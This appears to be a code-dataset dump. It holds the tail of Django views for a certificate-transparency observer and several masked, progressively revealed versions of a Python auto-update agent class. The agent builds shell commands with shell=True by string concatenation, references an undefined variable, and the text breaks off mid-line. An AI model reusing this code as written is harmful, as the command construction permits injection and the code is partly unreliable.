\n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n\n \n #Alternative filter solution for better performance\n #https://localhost/cert/all/1?issuer_ca=merge&date_notbefore=&date_notbefore_gte=&is_active=&date_notafter=&date_notafter_lte=\n \n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active == \"1\" or is_active == \"\" or is_active == None):\n if(issuer_ca != None and (is_active == None or is_active == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and (issuer_ca == None or issuer_ca == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'certificate')\n \n if(issuer_ca == \"\" and is_active == \"\"):\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and issuer_ca != None ): \n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains = issuer_ca,\n not_before__lte=timezone.now(), not_after__gte=timezone.now(), ), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active == \"0\" or is_active == \"\" or is_active == None):\n if(issuer_ca != None and (is_active == None or is_active == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and (issuer_ca == None or issuer_ca == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(not_after__lte=datetime.date.today()), 'certificate')\n \n if(issuer_ca == \"\" and is_active == \"\"):\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and issuer_ca != None ): \n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains = issuer_ca,\n not_after__lte=datetime.date.today() ), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n \n ####################################################\n \n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n #if(ae != None):\n #list_of_certs = Certificate.objects.raw(\"SELECT * FROM certificate WHERE SIGNATURE_ALGORITHM=%s\", [ae])\n \n \n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs, \n 'filter': filtered_qs\n }\n )\n\ndef certactive(request, page=None):\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"active/1\")\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'number_of_active_certs'), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\n\ndef certexpired(request, page=None, order=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"expired/1\")\n\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_after__lt=timezone.now()), 'number_of_expired_certs'), ITEMS_PER_PAGE)\n# paginator = Paginator(Certificate.objects.filter(not_after__lt=timezone.now()), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\ndef certrevoked(request, page=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"revoked/1\")\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(Certificate.objects.filter(id__in=RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\n\ndef certs_by_log(request, log_id, page=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"./1\")\n\n page = int(page)\n log_id = int(log_id)\n \n list_of_certs = []\n \n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_entries = paginator.page(page)\n \n\n return render(request, 'observer/log_certs.html',\n {\n 'log': get_object_or_404(CtLog, pk=log_id),\n 'list_of_entries' : list_of_entries\n }\n )\n\ndef certs_by_ca(request, ca_id, page=None):\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"certificates/1\")\n\n page = int(page)\n ca_id = int(ca_id)\n\n list_of_certs = []\n \n \n \n filtered_qs = CertFilter(\n request.GET, \n queryset=Certificate.objects.filter(issuer_ca=ca_id)\n )\n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n \n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs, \n 'filter': filtered_qs\n })\n \n \n\n# paginator = Paginator(Certificate.objects.filter(issuer_ca=ca_id), ITEMS_PER_PAGE)\n# if(page in paginator.page_range):\n# list_of_certs = paginator.page(page)\n\n# return render(request, 'observer/certs.html',\n# {\n# 'list_of_certs': list_of_certs\n# }\n# )\n\ndef list_cn_certs(request, cn):\n\n field_id = 'common name'\n expression = cn\n\n list_of_certs = Certificate.objects.raw(\"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\", [cn])\n #list_of_certs = Certificate.objects.filter(certificate__common_name=cn).order_by('not_before')\n \n \n issues = issuefinder.get_all_issues(list(list_of_certs))\n #issues = issuefinder.get_first_certificates(list_of_certs)\n\n return render(request, 'observer/history.html',\n {\n 'field_id': field_id,\n 'expression': expression,\n 'list_of_certs': list_of_certs,\n 'issues':issues\n }\n )\n\ndef list_dnsname_certs(request, dnsname):\n\n field_id = 'dnsname'\n expression = dnsname\n\n list_of_certs = Certificate.objects.raw(\"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\", [dnsname])\n \n issues = issuefinder.get_all_issues(list(list_of_certs))\n \n return render(request, 'observer/history.html',\n {\n 'field_id': field_id,\n 'expression': expression,\n 'list_of_certs': list_of_certs,\n 'issues':issues\n }\n )\n\ndef log(request): #LOG VIEW\n return render(request, 'observer/logs.html',\n {\n #'list_of_logs': CtLog.objects.all().annotate(entries=Count('ctlogentry')).order_by('latest_entry_id')\n 'list_of_logs': CtLog.objects.all().order_by('-is_active','-latest_entry_id','name')\n }\n )\n\ndef cadetail(request,ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n \n #counting number of issued CA's:\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n \n return render(request, 'observer/cadetail.html', { 'ca' : ca, 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request,cert_id=None,cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex') #Does not work on python3\n cert = get_object_or_404(Certificate, certificate__sha256=cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':','').lower()[2:-1]\n\n #TODO\n #Certificate.objects.raw(\"select (select count() from certificate WHERE x509_keySize(certificate) = %s)100/cast(COUNT() as float) as percentage, 0 as id FROM certificate;\",\n #[cert.get_x509_data().get_pubkey().bits()])\n\n #return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': round(keysize_distribution[0].percentage,2)})\n return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': 'TODO', 'digest_sha256':digest_sha256})\n\ndef certraw(request,cert_id):\n cert = get_object_or_404(Certificate, pk=cert_id)\n \n response = HttpResponse(cert.certificate, content_type='application/octet-stream')\n response['Content-Disposition'] = 'attachment; filename=\"certificate_{}.crt'.format(cert_id)\n return response\n\ndef logdetail(request,log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n \n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', { 'log' : log, 'number_of_issued_ca' : number_of_issued_ca})\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, \"static/flags/png/{0}.png\".format(flag_id.lower())), \"rb\") as f:\n return HttpResponse(f.read(), content_type=\"image/png\")\n except IOError:\n with open(os.path.join(BASE_DIR, \"static/flags/png/-.png\"), \"rb\") as f:\n return HttpResponse(f.read(), content_type=\"image/png\")\n\ndef imprint(request):\n return render(request, 'observer/imprint.html')\n \ndef issues(request):\n return render(request, 'observer/issues.html')\n \ndef status(request):\n status = {'analyzer':{'lastrun':0}, 'monitor':{'lastrun':0}, 'msg':'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n \n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = \"Could not load status file.\"+str(e)\n \n \n return render(request, 'observer/status.html', {'status':status})\n\n\ndef certcheck(request):\n \n if request.method == 'POST':\n \n serial_post = request.POST['serial']\n \n sqlQuery = \"\"\"SELECT id FROM certificate WHERE serial=%s\"\"\"\n sqlQuery_commonName = \"\"\"SELECT FROM ca WHERE \"\"\"\n \n \n current_time = str(datetime.datetime.now())\n \n serial_int = int(serial_post, 16)\n serial = serial_int.to_bytes((serial_int.bit_length() + 15) // 8, 'big', signed=True) or b'\\0'\n sqlData = (psycopg2.Binary(serial),)\n \n found_serial = Certificate.objects.raw(sqlQuery, sqlData)\n \n if(found_serial):\n return HttpResponse(found_serial)\n else:\n return HttpResponse(\"none\")\n \n\n return render(request, 'observer/checkserial.html', {})\n", "step-ids": [ 25, 26, 28, 29, 35 ] }	[ 25, 26, 28, 29, 35 ]
<\|reserved_special_token_0\|> class GregerUpdateAgent(Thread): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord <\|reserved_special_token_0\|> def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class GregerUpdateAgent(Thread): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class GregerUpdateAgent(Thread): <\|reserved_special_token_0\|> def __init__(self, ready=None): """ Initialize the main class """ Thread.__init__(self) self.ready = ready self.logPath = 'root.GUA' self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + '.__init__') localLog.debug('Initiating Greger Update Agent (GUA)...') self.stopExecution = Event() self._location = os.path.abspath(__file__) self._location = self._location[:-15] localLog.debug('Local path: ' + self._location) localLog.debug('Getting configuration parameters from file...') config = getLocalConfig() self.localRevisionRecordPath = config.get('greger_update_agent', 'local_revision_path') localLog.debug('Parameter: (localRevisionRecordPath) ' + self. localRevisionRecordPath) self.log.info('Greger Update Agent (GUA) successfully initiated!') @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in 